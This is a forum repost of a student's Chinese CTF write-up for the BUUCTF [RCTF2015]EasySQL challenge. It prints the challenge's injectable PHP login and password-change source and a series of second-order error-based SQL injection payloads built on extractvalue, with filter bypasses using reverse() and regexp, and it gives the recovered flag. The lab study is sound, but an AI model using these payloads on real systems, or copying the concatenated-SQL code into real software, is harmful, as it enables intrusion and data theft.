用户云卷云舒 发表于 2025-1-25 22:06:01

60,【1】BUUCF web [RCTF2015]EasySQL1

https://i-blog.csdnimg.cn/direct/cd0ea18fab2b47f6a982dfec3a458b5c.png
先查看源码
https://i-blog.csdnimg.cn/direct/776c80f0a66146c887a001325dceea29.png
1,changepwd(修改密码)

https://i-blog.csdnimg.cn/direct/4d3c2eda6c6049eb93e60a128a87be22.png
<?php
// 开启会话,以便使用会话变量
session_start();

// 设置页面的内容类型为 HTML 并使用 UTF-8 编码
header("Content-Type: text/html; charset=UTF-8");


// 引入配置文件,通常包含数据库连接信息等
require_once 'config.php';

// 输出一个表单,用于用户输入旧密码和新密码
echo '<form action="" method="post"><p>oldpass: <input type="text" name="oldpass" /></p><p>newpass: <input type="text" name="newpass" /></p><input type="submit" value="Submit" /></form>';

// 检查是否提交了旧密码和新密码
if (isset($_POST['oldpass']) && isset($_POST['newpass'])) {
    // 将用户输入的旧密码进行 MD5 哈希处理
    $oldpass = md5($_POST['oldpass']);
    // 将用户输入的新密码进行 MD5 哈希处理
    $newpass = md5($_POST['newpass']);
    // 获取当前登录用户的用户名,存储在会话中
    $username = $_SESSION['username'];
    // 构建 SQL 语句,用于更新用户的密码,使用用户输入的旧密码验证用户身份
    $sql = "update users set pwd='$newpass' where name=\"$username\" and pwd='$oldpass'";
    // var_dump($sql);
    // 执行 SQL 查询
    $query = mysql_query($sql);
    // 检查查询是否成功执行
    if ($query) {
      // 如果查询成功,退出脚本,可根据需要修改为更有意义的操作,如显示成功消息
      exit('');
    } else {
      // 如果查询失败,输出 MySQL 错误信息并终止脚本
      die(mysql_error());
    }
}
?> 此文件表明会对输入的用户名和密码举行MD5哈希处理
以是数据库中存储的是MD5哈希值
查询成功,此文件执行结束,如果失败,会输出MySQL错误信息
似乎是报错注入

2,config(配置文件)

https://i-blog.csdnimg.cn/direct/ef8a7645d4424ae1a231ab5e19323bf4.png
<?php
// 定义数据库主机地址和端口号
$dbhost = 'localhost:3306';
// 定义数据库用户名
$dbuser = 'root';
// 定义数据库密码,这里是空密码
$dbpass = '';
// 使用 mysql_connect 函数尝试连接到数据库服务器,传递主机、用户名和密码作为参数
$conn = mysql_connect($dbhost, $dbuser, $dbpass);


// 选择要使用的数据库,这里选择的是名为 'web_sqli' 的数据库
mysql_select_db('web_sqli');
// 设置字符集为 utf8,确保数据库操作使用 utf8 编码,避免乱码问题
mysql_query('set NAMES utf8');


// 检查是否开启了魔术引号,如果没有开启,则对 POST 和 GET 数据进行转义处理
if (!get_magic_quotes_gpc()) {
    // 遍历 POST 数据,对其中的每个元素进行转义处理
    foreach ($_POST as $key => $value) {
      // 使用 addslashes 函数对值进行转义,防止 SQL 注入
      $_POST[$key] = addslashes($value);
    }
    // 遍历 GET 数据,对其中的每个元素进行转义处理
    foreach ($_GET as $key => $value) {
      // 使用 addslashes 函数对值进行转义,防止 SQL 注入
      $_GET[$key] = addslashes($value);
    }
}
?> 此文件表明数据库用户名为root,密码是空密码
而且检查是否开启了魔术引号,未开启时对post,get数据举行转义处理

3,index(默认首页文件)

https://i-blog.csdnimg.cn/direct/f3ed1b6b973e43feaaa535c9637c64d2.png
<?php
// 开始一个新的会话或继续已有的会话
session_start();

// 设置 HTTP 响应头,指定内容类型为 text/html 且字符编码为 UTF-8
header("Content-Type: text/html; charset=UTF-8");

// 引入配置文件,通常包含数据库连接信息等
require_once 'config.php';

// 检查是否已经设置了会话中的用户名,这通常表示用户已经登录
if (isset($_SESSION['username'])) {
    // 输出欢迎信息,并显示用户的名字作为一个链接,指向 user.php 页面
    echo "Hi,<a href='user.php'>".$_SESSION['username']."</a>";
    // 输出一个无序列表的开始标签
    echo "<ul>";
    // 输出列表项,链接到 index.php 并传递不同的 title 参数
    echo "<li><a href='index.php?title=lcsg'>良辰诗歌</a></li>";
    echo "<li><a href='index.php?title=wyzb'>网友装逼</a></li>";
    echo "<li><a href='index.php?title=zrtbf'>赵日天不服</a></li>";
    // 输出无序列表的结束标签
    echo "</ul>";

    // 检查是否从 GET 请求中接收到了 title 参数
    if (isset($_GET['title'])) {
      // 获取 GET 请求中的 title 参数的值
      $title = $_GET['title'];
      // 构建一个 SQL 查询语句,根据 title 从 article 表中查询数据
      $sql = "select * from article where title='$title'";
      // 执行 SQL 查询
      $query = mysql_query($sql);
      // 检查查询是否成功执行
      if ($query) {
            // 获取查询结果的一行数据作为关联数组
            $row = mysql_fetch_array($query);
            // 输出查询结果中 content 列的数据
            echo $row['content'];
      }
    }
} else {
    // 如果用户没有登录,输出匿名用户的欢迎信息
    echo "Hi,Anonymous<br>";
    // 输出登录页面的链接
    echo "<a href='./login.php'>LOGIN</a><br>";
    // 输出注册页面的链接
    echo "<a href='./register.php'>REGISTER</a><br>";
}
?>
https://i-blog.csdnimg.cn/direct/e26eba9e90944055909e00d467f291f2.png

4,login(登录)

https://i-blog.csdnimg.cn/direct/d0fc4f4255f14f2d9b18304fbdda9b33.png
<?php
// 开始一个新的会话或继续已有的会话
session_start();

// 设置 HTTP 响应头,指定内容类型为 text/html 并使用 UTF-8 编码
header("Content-Type: text/html; charset=UTF-8");

// 引入配置文件,通常包含数据库连接信息等
require_once 'config.php';

// 输出一个 HTML 表单,用户可以在其中输入用户名和密码,表单提交到 login.php 页面,使用 POST 方法
echo '<form action="login.php" method="post"><p>username: <input type="text" name="username" /></p><p>password: <input type="text" name="password" /></p><input type="submit" value="Submit" /></form>';


// 检查是否通过 POST 方法提交了用户名和密码
if (isset($_POST['username']) && isset($_POST['password'])) {
    // 获取用户输入的用户名
    $username = $_POST['username'];
    // 使用 MD5 对用户输入的密码进行哈希处理(这种方式已不安全,建议使用 password_hash 函数)
    $password = md5($_POST['password']);
    // 构建 SQL 查询语句,用于从 users 表中查找匹配的用户名和密码
    $sql = "SELECT * FROM users WHERE name = '$username' and pwd = '$password'";
    // 执行 SQL 查询
    $query = mysql_query($sql);
    // 检查查询结果是否正好有一行(即找到一个匹配的用户)
    if (mysql_num_rows($query) == 1) {
      // 获取查询结果的一行数据
      $row = mysql_fetch_array($query);
      // 将用户名存储在会话中,用于后续页面判断用户是否已登录
      $_SESSION['username'] = $row['name'];
      // 重定向到 index.php 页面
      header('Location: index.php');
      // 终止脚本执行
      die();
    } else {
      // 如果未找到匹配用户,输出登录错误信息并终止脚本
      die('<br>login error');
    }
}
?> 看完这个源码后就看不到了
https://i-blog.csdnimg.cn/direct/bd3e45565cb445f0a394ef9162429469.png
只能先辈靶场了


进入靶场

实验输入
https://i-blog.csdnimg.cn/direct/4df7d57740344a4f9190a31b4c47ac9c.png

https://i-blog.csdnimg.cn/direct/55e908689ef04255a6a4c3b7fd2b4f88.png
无效字符串
不管输啥都说无效字符串,,,,,,
后来发现似乎是Email出了问题
https://i-blog.csdnimg.cn/direct/5b7247ac36284b83851796b9760b79d7.png
https://i-blog.csdnimg.cn/direct/5c69a96b08d94cc082b473c6e683a107.png
知道了一个用户名(猜测可以通过新注册一个账号来更改admin账户的密码)
以此来注册一个账号
https://i-blog.csdnimg.cn/direct/a2b10b27226b444da9a5d8dcea695370.png
登录
https://i-blog.csdnimg.cn/direct/1b470e31b4a24510a2984c3fbe90366e.png
看到此页面
https://i-blog.csdnimg.cn/direct/7ff6103ca83a4e549bfd15ab783dae30.png
点击admin#后发现可以更改密码
那就先把admin账号的密码改了
https://i-blog.csdnimg.cn/direct/03e1eacfc143480d8d94c81d4f9d3941.png
https://i-blog.csdnimg.cn/direct/948071ba55874e2d870c859633abd272.png
改成123
https://i-blog.csdnimg.cn/direct/45b37863de3d4a1eb53ae73eef7ec629.png
登录看看
https://i-blog.csdnimg.cn/direct/30eeaf3010c442e8a7ceffeef77b5a88.png
好打脸啊
一开始输admin'说无效字符串后就没输过'了
补上再输一遍
照旧错的????????????????????
试试  "
https://i-blog.csdnimg.cn/direct/33d013efcd86432398fd57fd11c2910b.png
好吧,也是对了,以后菜就多试
先都点进去看看
https://i-blog.csdnimg.cn/direct/5dce740180ed4c1e832ad85e2d776077.png
https://i-blog.csdnimg.cn/direct/389576a338f5489b96970c5376e0c349.png
https://i-blog.csdnimg.cn/direct/a64a8322dae14a1496213830fa599bc2.png
so,我是什么很贱的人吗,给我看这个
https://i-blog.csdnimg.cn/direct/d06c93dd1409411f93c21ae9476a284b.png

不外通过以上操纵,得知存在二次注入
根据源码知道它会报错
而且一开始的操纵知道它会过滤
50.【8】BUUCTF WEB HardSql-CSDN博客
参考这篇博客的语句

1,查询库名


admin"^extractvalue(1,concat(0x7e,(select(database()))))#
(#是以get方式提交时使用的,-- -和-- +是以post方式提交时使用的,%23在url处使用)
https://i-blog.csdnimg.cn/direct/080b64af70a44a1d84bea0d4b85f45d0.png
2,查询表名


admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('~web_sqli'))))#

https://i-blog.csdnimg.cn/direct/e3cf64db522d4f759bf6fc190e92df63.png
???
实验了一下,是把like过滤了


admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='~web_sqli')))#
https://i-blog.csdnimg.cn/direct/ae35a74757de44859856032940bd413e.png
空缺???


admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='~web_sqli')))#
https://i-blog.csdnimg.cn/direct/8c0e178243984c8c801959ebccec3b4f.png
照旧空缺?????????
https://i-blog.csdnimg.cn/direct/2ffe7546b2ec4253965331ea35214c88.png


admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))#
https://i-blog.csdnimg.cn/direct/a3191e4386f140a894e99d38047f2e05.png
把库名带进去就报不出来,那我求库名的操纵算什么????
算我。。

3,查询字段名

admin"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#
https://i-blog.csdnimg.cn/direct/f880927ab6fc4dbdaab9a2949cc9455e.png
4,查询字段内容


admin"^extractvalue(1,concat(0x7e,(select(flag)from(flag))))#
https://i-blog.csdnimg.cn/direct/0f2d2c424ce64df8ada2564a70ee1551.png


admin"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#
 
https://i-blog.csdnimg.cn/direct/5d3e379ad7dd4ef69961ff6a293ade28.png
语义未尽


用right让背面的爆出来

admin"^extractvalue(1,right(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),32))#
https://i-blog.csdnimg.cn/direct/d6ed8b14c1264b309a27abae419894b8.png
要不我照旧去四八(好不轻易把括号一组一组对上)
他把right过滤了


admin"^extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#
https://i-blog.csdnimg.cn/direct/7cd2193c5e194871983b320930790ab8.png
终于终于
admin"^extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#
https://i-blog.csdnimg.cn/direct/a465a0d7242d42e488704e1c1d7ae944.png
???还好还好,快结束了
下午学姐刚好讲了正则表达式
admin"^extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#
https://i-blog.csdnimg.cn/direct/923bd2f4c9f04f58a696293971e8c6d7.png
admin"^extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#
https://i-blog.csdnimg.cn/direct/4a55acd665cc4823bc414b518a2d606c.png
手动拼一下
flag{090f0996-0d57-4a30-b0d9-92675185411f}
https://i-blog.csdnimg.cn/direct/d31e7cb3e3eb4e24a61b09b57309bbb4.png
over

笔记

1,该用字典还得用字典
2,extractvalue
3,空格被过滤的题目第一遍就认真留意()的个数,千万别再多一个少一个了


 



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 60,【1】BUUCF web [RCTF2015]EasySQL1